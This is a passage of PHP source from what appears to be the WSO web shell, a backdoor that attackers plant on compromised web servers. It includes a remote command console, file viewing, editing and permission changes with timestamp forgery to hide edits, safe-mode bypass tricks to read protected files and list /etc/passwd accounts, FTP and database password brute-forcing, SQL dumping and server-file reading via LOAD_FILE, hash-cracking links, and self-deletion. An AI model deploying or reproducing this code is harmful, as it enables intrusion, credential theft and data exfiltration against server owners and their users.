1302 $r .= '%' . dechex(ord($p[$i]));
1303 return strtoupper($r);
1304 }
1305 }
1306 $stringTools = array(
1307 'Base64 encode' => 'base64_encode',
1308 'Base64 decode' => 'base64_decode',
1309 'Url encode' => 'urlencode',
1310 'Url decode' => 'urldecode',
1311 'Full urlencode' => 'full_urlencode',
1312 'md5 hash' => 'md5',
1313 'sha1 hash' => 'sha1',
1314 'crypt' => 'crypt',
1315 'CRC32' => 'crc32',
1316 'ASCII to HEX' => 'ascii2hex',
1317 'HEX to ASCII' => 'hex2ascii',
1318 'HEX to DEC' => 'hexdec',
1319 'HEX to BIN' => 'hex2bin',
1320 'DEC to HEX' => 'dechex',
1321 'DEC to BIN' => 'decbin',
1322 'BIN to HEX' => 'binhex',
1323 'BIN to DEC' => 'bindec',
1324 'String to lower case' => 'strtolower',
1325 'String to upper case' => 'strtoupper',
1326 'Htmlspecialchars' => 'htmlspecialchars',
1327 'String length' => 'strlen'
1328 );
1329 if (isset($_POST['ajax'])) {
1330 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
1331 ob_start();
1332 if (in_array($_POST['p1'], $stringTools))
1333 echo $_POST['p1']($_POST['p2']);
1334 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
1335
1336 \\'") . "';
1337";
1338 echo strlen($temp), "
1339", $temp;
1340 exit;
1341 }
1342 wsoHeader();
1343 echo '<h1>String conversions</h1><div class=content>';
1344 if (empty($_POST['ajax']) && !empty($_POST['p1']))
1345 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
1346 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
1347 foreach ($stringTools as $k => $v)
1348 echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
1349 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
1350 if (!empty($_POST['p1'])) {
1351 if (in_array($_POST['p1'], $stringTools))
1352 echo htmlspecialchars($_POST['p1']($_POST['p2']));
1353 }
1354 echo "</pre></div><br><h1>Search text in files:</h1><div class=content>
1355
1356 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
1357 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
1358 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
1359 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
1360 <tr><td></td><td><input type='submit' value='>>'></td></tr>
1361 </table></form>";
1362 function wsoRecursiveGlob($path)
1363 {
1364 if (substr($path, -1) != '/')
1365 $path .= '/';
1366 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
1367 if (is_array($paths) && @count($paths)) {
1368 foreach ($paths as $item) {
1369 if (@is_dir($item)) {
1370 if ($path != $item)
1371 wsoRecursiveGlob($item);
1372 } else {
1373 if (@strpos(@file_get_contents($item), @$_POST['p2']) !== false)
1374 echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\")'>" . htmlspecialchars($item) . "</a><br>";
1375 }
1376 }
1377 }
1378 }
1379 if (@$_POST['p3'])
1380 wsoRecursiveGlob($_POST['c']);
1381 echo "</div><br><h1>Search for hash:</h1><div class=content>
1382
1383 <form method='post' target='_blank' name='hf'>
1384 <input type='text' name='hash' style='width:200px;'><br>
1385 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
1386 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
1387 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
1388 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
1389 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
1390 </form></div>";
1391 wsoFooter();
1392}
1393function actionFilesTools()
1394{
1395 if (isset($_POST['p1']))
1396 $_POST['p1'] = urldecode($_POST['p1']);
1397 if (@$_POST['p2'] == 'download') {
1398 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
1399 ob_start("ob_gzhandler", 4096);
1400 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
1401 if (function_exists("mime_content_type")) {
1402 $type = @mime_content_type($_POST['p1']);
1403 header("Content-Type: " . $type);
1404 } else
1405 header("Content-Type: application/octet-stream");
1406 $fp = @fopen($_POST['p1'], "r");
1407 if ($fp) {
1408 while (!@feof($fp))
1409 echo @fread($fp, 1024);
1410 fclose($fp);
1411 }
1412 }
1413 exit;
1414 }
1415 if (@$_POST['p2'] == 'mkfile') {
1416 if (!file_exists($_POST['p1'])) {
1417 $fp = @fopen($_POST['p1'], 'w');
1418 if ($fp) {
1419 $_POST['p2'] = "edit";
1420 fclose($fp);
1421 }
1422 }
1423 }
1424 wsoHeader();
1425 echo '<h1>File tools</h1><div class=content>';
1426 if (!file_exists(@$_POST['p1'])) {
1427 echo 'File not exists';
1428 wsoFooter();
1429 return;
1430 }
1431 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1432 if (!$uid) {
1433 $uid['name'] = @fileowner($_POST['p1']);
1434 $gid['name'] = @filegroup($_POST['p1']);
1435 } else
1436 $gid = @posix_getgrgid(@filegroup($_POST['p1']));
1437 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
1438 echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
1439 if (empty($_POST['p2']))
1440 $_POST['p2'] = 'view';
1441 if (is_file($_POST['p1']))
1442 $m = array(
1443 'View',
1444 'Highlight',
1445 'Download',
1446 'Hexdump',
1447 'Edit',
1448 'Chmod',
1449 'Rename',
1450 'Touch'
1451 );
1452 else
1453 $m = array(
1454 'Chmod',
1455 'Rename',
1456 'Touch'
1457 );
1458 foreach ($m as $v)
1459 echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
1460 echo '<br><br>';
1461 switch ($_POST['p2']) {
1462 case 'view':
1463 echo '<pre class=ml1>';
1464 $fp = @fopen($_POST['p1'], 'r');
1465 if ($fp) {
1466 while (!@feof($fp))
1467 echo htmlspecialchars(@fread($fp, 1024));
1468 @fclose($fp);
1469 }
1470 echo '</pre>';
1471 break;
1472 case 'highlight':
1473 if (@is_readable($_POST['p1'])) {
1474 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
1475 $code = @highlight_file($_POST['p1'], true);
1476 echo str_replace(array(
1477 '<span ',
1478 '</span>'
1479 ), array(
1480 '<font ',
1481 '</font>'
1482 ), $code) . '</div>';
1483 }
1484 break;
1485 case 'chmod':
1486 if (!empty($_POST['p3'])) {
1487 $perms = 0;
1488 for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i)
1489 $perms += (int) $_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
1490 if (!@chmod($_POST['p1'], $perms))
1491 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1492 }
1493 clearstatcache();
1494 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
1495 break;
1496 case 'edit':
1497 if (!is_writable($_POST['p1'])) {
1498 echo 'File isn\'t writeable';
1499 break;
1500 }
1501 if (!empty($_POST['p3'])) {
1502 $time = @filemtime($_POST['p1']);
1503 $_POST['p3'] = substr($_POST['p3'], 1);
1504 $fp = @fopen($_POST['p1'], "w");
1505 if ($fp) {
1506 @fwrite($fp, $_POST['p3']);
1507 @fclose($fp);
1508 echo 'Saved!<br><script>p3_="";</script>';
1509 @touch($_POST['p1'], $time, $time);
1510 }
1511 }
1512 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1513 $fp = @fopen($_POST['p1'], 'r');
1514 if ($fp) {
1515 while (!@feof($fp))
1516 echo htmlspecialchars(@fread($fp, 1024));
1517 @fclose($fp);
1518 }
1519 echo '</textarea><input type=submit value=">>"></form>';
1520 break;
1521 case 'hexdump':
1522 $c = @file_get_contents($_POST['p1']);
1523 $n = 0;
1524 $h = array(
1525 '00000000<br>',
1526 '',
1527 ''
1528 );
1529 $len = strlen($c);
1530 for ($i = 0; $i < $len; ++$i) {
1531 $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
1532 switch (ord($c[$i])) {
1533 case 0:
1534 $h[2] .= ' ';
1535 break;
1536 case 9:
1537 $h[2] .= ' ';
1538 break;
1539 case 10:
1540 $h[2] .= ' ';
1541 break;
1542 case 13:
1543 $h[2] .= ' ';
1544 break;
1545 default:
1546 $h[2] .= $c[$i];
1547 break;
1548 }
1549 $n++;
1550 if ($n == 32) {
1551 $n = 0;
1552 if ($i + 1 < $len) {
1553 $h[0] .= sprintf('%08X', $i + 1) . '<br>';
1554 }
1555 $h[1] .= '<br>';
1556 $h[2] .= "
1557";
1558 }
1559 }
1560 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
1561 break;
1562 case 'rename':
1563 if (!empty($_POST['p3'])) {
1564 if (!@rename($_POST['p1'], $_POST['p3']))
1565 echo 'Can\'t rename!<br>';
1566 else
1567 die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
1568 }
1569 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
1570 break;
1571 case 'touch':
1572 if (!empty($_POST['p3'])) {
1573 $time = strtotime($_POST['p3']);
1574 if ($time) {
1575 if (!touch($_POST['p1'], $time, $time))
1576 echo 'Fail!';
1577 else
1578 echo 'Touched!';
1579 } else
1580 echo 'Bad time format!';
1581 }
1582 clearstatcache();
1583 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
1584 break;
1585 }
1586 echo '</div>';
1587 wsoFooter();
1588}
1589function actionSafeMode()
1590{
1591 $temp = '';
1592 ob_start();
1593 switch ($_POST['p1']) {
1594 case 1:
1595 $temp = @tempnam($test, 'cx');
1596 if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
1597 echo @file_get_contents($temp);
1598 unlink($temp);
1599 } else
1600 echo 'Sorry... Can\'t open file';
1601 break;
1602 case 2:
1603 $files = glob($_POST['p2'] . '*');
1604 if (is_array($files))
1605 foreach ($files as $filename)
1606 echo $filename . "
1607";
1608 break;
1609 case 3:
1610 $ch = curl_init("file://" . $_POST['p2'] . "" . preg_replace('!\(\d+\)\s.*!', '', __FILE__));
1611 curl_exec($ch);
1612 break;
1613 case 4:
1614 ini_restore("safe_mode");
1615 ini_restore("open_basedir");
1616 include($_POST['p2']);
1617 break;
1618 case 5:
1619 for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
1620 $uid = @posix_getpwuid($_POST['p2']);
1621 if ($uid)
1622 echo join(':', $uid) . "
1623";
1624 }
1625 break;
1626 }
1627 $temp = ob_get_clean();
1628 wsoHeader();
1629 echo '<h1>Safe mode bypass</h1><div class=content>';
1630 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
1631 if ($temp)
1632 echo '<pre class="ml1" style="margin-top:5px" id="Output">' . htmlspecialchars($temp) . '</pre>';
1633 echo '</div>';
1634 wsoFooter();
1635}
1636function actionConsole()
1637{
1638 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
1639 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = true;
1640 $_POST['p1'] .= ' 2>&1';
1641 } elseif (!empty($_POST['p1']))
1642 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] = false;
1643 if (isset($_POST['ajax'])) {
1644 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
1645 ob_start();
1646 echo "d.cf.cmd.value='';
1647";
1648 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
1649$ " . $_POST['p1'] . "
1650" . wsoEx($_POST['p1']), "
1651
1652 \\'"));
1653 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
1654 if (@chdir($match[1])) {
1655 $GLOBALS['cwd'] = @getcwd();
1656 echo "c_='" . $GLOBALS['cwd'] . "';";
1657 }
1658 }
1659 echo "d.cf.output.value+='" . $temp . "';";
1660 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1661 $temp = ob_get_clean();
1662 echo strlen($temp), "
1663", $temp;
1664 exit;
1665 }
1666 wsoHeader();
1667 echo "<script>
1668if(window.Event) window.captureEvents(Event.KEYDOWN);
1669var cmds = new Array('');
1670var cur = 0;
1671function kp(e) {
1672 var n = (window.Event) ? e.which : e.keyCode;
1673 if(n == 38) {
1674 cur--;
1675 if(cur>=0)
1676 document.cf.cmd.value = cmds[cur];
1677 else
1678 cur++;
1679 } else if(n == 40) {
1680 cur++;
1681 if(cur < cmds.length)
1682 document.cf.cmd.value = cmds[cur];
1683 else
1684 cur--;
1685 }
1686}
1687function add(cmd) {
1688 cmds.pop();
1689 cmds.push(cmd);
1690 cmds.push('');
1691 cur = cmds.length-1;
1692}
1693
1694</script>";
1695 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1696 foreach ($GLOBALS['aliases'] as $n => $v) {
1697 if ($v == '') {
1698 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
1699 continue;
1700 }
1701 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
1702 }
1703 if (empty($_POST['ajax']) && !empty($_POST['p1']))
1704 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
1705 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_SESSION[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1706 if (!empty($_POST['p1'])) {
1707 echo htmlspecialchars("$ " . $_POST['p1'] . "
1708" . wsoEx($_POST['p1']));
1709 }
1710 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1711 echo '</form></div><script>d.cf.cmd.focus();</script>';
1712 wsoFooter();
1713}
1714function actionLogout()
1715{
1716 session_destroy();
1717 die('bye!');
1718}
1719function actionSelfRemove()
1720{
1721 if ($_POST['p1'] == 'yes')
1722 if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1723 die('Shell has been removed');
1724 else
1725 echo 'unlink error!';
1726 if ($_POST['p1'] != 'yes')
1727 wsoHeader();
1728 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1729 wsoFooter();
1730}
1731function actionBruteforce()
1732{
1733 wsoHeader();
1734 if (isset($_POST['proto'])) {
1735 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
1736 if ($_POST['proto'] == 'ftp') {
1737 function bruteForce($ip, $port, $login, $pass)
1738 {
1739 $fp = @ftp_connect($ip, $port ? $port : 21);
1740 if (!$fp)
1741 return false;
1742 $res = @ftp_login($fp, $login, $pass);
1743 @ftp_close($fp);
1744 return $res;
1745 }
1746 } elseif ($_POST['proto'] == 'mysql') {
1747 function bruteForce($ip, $port, $login, $pass)
1748 {
1749 $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
1750 @mysql_close($res);
1751 return $res;
1752 }
1753 } elseif ($_POST['proto'] == 'pgsql') {
1754 function bruteForce($ip, $port, $login, $pass)
1755 {
1756 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
1757 $res = @pg_connect($str);
1758 @pg_close($res);
1759 return $res;
1760 }
1761 }
1762 $success = 0;
1763 $attempts = 0;
1764 $server = explode(":", $_POST['server']);
1765 if ($_POST['type'] == 1) {
1766 $temp = @file('/etc/passwd');
1767 if (is_array($temp))
1768 foreach ($temp as $line) {
1769 $line = explode(":", $line);
1770 ++$attempts;
1771 if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
1772 $success++;
1773 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
1774 }
1775 if (@$_POST['reverse']) {
1776 $tmp = "";
1777 for ($i = strlen($line[0]) - 1; $i >= 0; --$i)
1778 $tmp .= $line[0][$i];
1779 ++$attempts;
1780 if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
1781 $success++;
1782 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
1783 }
1784 }
1785 }
1786 } elseif ($_POST['type'] == 2) {
1787 $temp = @file($_POST['dict']);
1788 if (is_array($temp))
1789 foreach ($temp as $line) {
1790 $line = trim($line);
1791 ++$attempts;
1792 if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
1793 $success++;
1794 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
1795 }
1796 }
1797 }
1798 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1799 }
1800 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1801 echo '</div><br>';
1802 wsoFooter();
1803}
1804function actionSql()
1805{
1806 class DbClass
1807 {
1808 var $type;
1809 var $link;
1810 var $res;
1811 function DbClass($type)
1812 {
1813 $this->type = $type;
1814 }
1815 function connect($host, $user, $pass, $dbname)
1816 {
1817 switch ($this->type) {
1818 case 'mysql':
1819 if ($this->link = @mysql_connect($host, $user, $pass, true))
1820 return true;
1821 break;
1822 case 'pgsql':
1823 $host = explode(':', $host);
1824 if (!$host[1])
1825 $host[1] = 5432;
1826 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))
1827 return true;
1828 break;
1829 }
1830 return false;
1831 }
1832 function selectdb($db)
1833 {
1834 switch ($this->type) {
1835 case 'mysql':
1836 if (@mysql_select_db($db))
1837 return true;
1838 break;
1839 }
1840 return false;
1841 }
1842 function query($str)
1843 {
1844 switch ($this->type) {
1845 case 'mysql':
1846 return $this->res = @mysql_query($str);
1847 break;
1848 case 'pgsql':
1849 return $this->res = @pg_query($this->link, $str);
1850 break;
1851 }
1852 return false;
1853 }
1854 function fetch()
1855 {
1856 $res = func_num_args() ? func_get_arg(0) : $this->res;
1857 switch ($this->type) {
1858 case 'mysql':
1859 return @mysql_fetch_assoc($res);
1860 break;
1861 case 'pgsql':
1862 return @pg_fetch_assoc($res);
1863 break;
1864 }
1865 return false;
1866 }
1867 function listDbs()
1868 {
1869 switch ($this->type) {
1870 case 'mysql':
1871 return $this->query("SHOW databases");
1872 break;
1873 case 'pgsql':
1874 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1875 break;
1876 }
1877 return false;
1878 }
1879 function listTables()
1880 {
1881 switch ($this->type) {
1882 case 'mysql':
1883 return $this->res = $this->query('SHOW TABLES');
1884 break;
1885 case 'pgsql':
1886 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1887 break;
1888 }
1889 return false;
1890 }
1891 function error()
1892 {
1893 switch ($this->type) {
1894 case 'mysql':
1895 return @mysql_error();
1896 break;
1897 case 'pgsql':
1898 return @pg_last_error();
1899 break;
1900 }
1901 return false;
1902 }
1903 function setCharset($str)
1904 {
1905 switch ($this->type) {
1906 case 'mysql':
1907 if (function_exists('mysql_set_charset'))
1908 return @mysql_set_charset($str, $this->link);
1909 else
1910 $this->query('SET CHARSET ' . $str);
1911 break;
1912 case 'pgsql':
1913 return @pg_set_client_encoding($this->link, $str);
1914 break;
1915 }
1916 return false;
1917 }
1918 function loadFile($str)
1919 {
1920 switch ($this->type) {
1921 case 'mysql':
1922 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1923 break;
1924 case 'pgsql':
1925 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1926 $r = array();
1927 while ($i = $this->fetch())
1928 $r[] = $i['file'];
1929 $this->query('drop table wso2');
1930 return array(
1931 'file' => implode("
1932", $r)
1933 );
1934 break;
1935 }
1936 return false;
1937 }
1938 function dump($table, $fp = false)
1939 {
1940 switch ($this->type) {
1941 case 'mysql':
1942 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1943 $create = mysql_fetch_array($res);
1944 $sql = $create[1] . ";
1945";
1946 if ($fp)
1947 fwrite($fp, $sql);
1948 else
1949 echo ($sql);
1950 $this->query('SELECT * FROM `' . $table . '`');
1951 $head = true;
1952 while ($item = $this->fetch()) {
1953 $columns = array();
1954 foreach ($item as $k => $v) {
1955 if ($v == null)
1956 $item[$k] = "NULL";
1957 elseif (is_numeric($v))
1958 $item[$k] = $v;
1959 else
1960 $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1961 $columns[] = "`" . $k . "`";
1962 }
1963 if ($head) {
1964 $sql = 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES
1965 (" . implode(", ", $item) . ')';
1966 $head = false;
1967 } else
1968 $sql = "
1969 ,(" . implode(", ", $item) . ')';
1970 if ($fp)
1971 fwrite($fp, $sql);
1972 else
1973 echo ($sql);
1974 }
1975 if (!$head)
1976 if ($fp)
1977 fwrite($fp, ";
1978
1979");
1980 else
1981 echo (";
1982
1983");
1984 break;
1985 case 'pgsql':
1986 $this->query('SELECT * FROM ' . $table);
1987 while ($item = $this->fetch()) {
1988 $columns = array();
1989 foreach ($item as $k => $v) {
1990 $item[$k] = "'" . addslashes($v) . "'";
1991 $columns[] = $k;
1992 }
1993 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1994";
1995 if ($fp)
1996 fwrite($fp, $sql);
1997 else
1998 echo ($sql);
1999 }
2000 break;
2001 }
2002 return false;
2003 }
2004 }
2005 ;
2006 $db = new DbClass($_POST['type']);
2007 if (@$_POST['p2'] == 'download') {
2008 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
2009 $db->selectdb($_POST['sql_base']);
2010 switch ($_POST['charset']) {
2011 case "Windows-1251":
2012 $db->setCharset('cp1251');
2013 break;
2014 case "UTF-8":
2015 $db->setCharset('utf8');
2016 break;
2017 case "KOI8-R":
2018 $db->setCharset('koi8r');
2019 break;
2020 case "KOI8-U":
2021 $db->setCharset('koi8u');
2022 break;
2023 case "cp866":
2024 $db->setCharset('cp866');
2025 break;
2026 }
2027 if (empty($_POST['file'])) {
2028 ob_start("ob_gzhandler", 4096);
2029 header("Content-Disposition: attachment; filename=dump.sql");
2030 header("Content-Type: text/plain");
2031 foreach ($_POST['tbl'] as $v)
2032 $db->dump($v);
2033 exit;
2034 } elseif ($fp = @fopen($_POST['file'], 'w')) {
2035 foreach ($_POST['tbl'] as $v)
2036 $db->dump($v, $fp);
2037 fclose($fp);
2038 unset($_POST['p2']);
2039 } else
2040 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
2041 }
2042 wsoHeader();
2043 echo "
2044
2045<h1>Sql browser</h1><div class=content>
2046<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
2047<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
2048<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
2049<td><select name='type'><option value='mysql' ";
2050 if (@$_POST['type'] == 'mysql')
2051 echo 'selected';
2052 echo ">MySql</option><option value='pgsql' ";
2053 if (@$_POST['type'] == 'pgsql')
2054 echo 'selected';
2055 echo ">PostgreSql</option></select></td>
2056<td><input type=text name=sql_host value='" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "'></td>
2057<td><input type=text name=sql_login value='" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "'></td>
2058<td><input type=text name=sql_pass value='" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "'></td><td>";
2059 $tmp = "<input type=text name=sql_base value=''>";
2060 if (isset($_POST['sql_host'])) {
2061 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
2062 switch ($_POST['charset']) {
2063 case "Windows-1251":
2064 $db->setCharset('cp1251');
2065 break;
2066 case "UTF-8":
2067 $db->setCharset('utf8');
2068 break;
2069 case "KOI8-R":
2070 $db->setCharset('koi8r');
2071 break;
2072 case "KOI8-U":
2073 $db->setCharset('koi8u');
2074 break;
2075 case "cp866":
2076 $db->setCharset('cp866');
2077 break;
2078 }
2079 $db->listDbs();
2080 echo "<select name=sql_base><option value=''></option>";
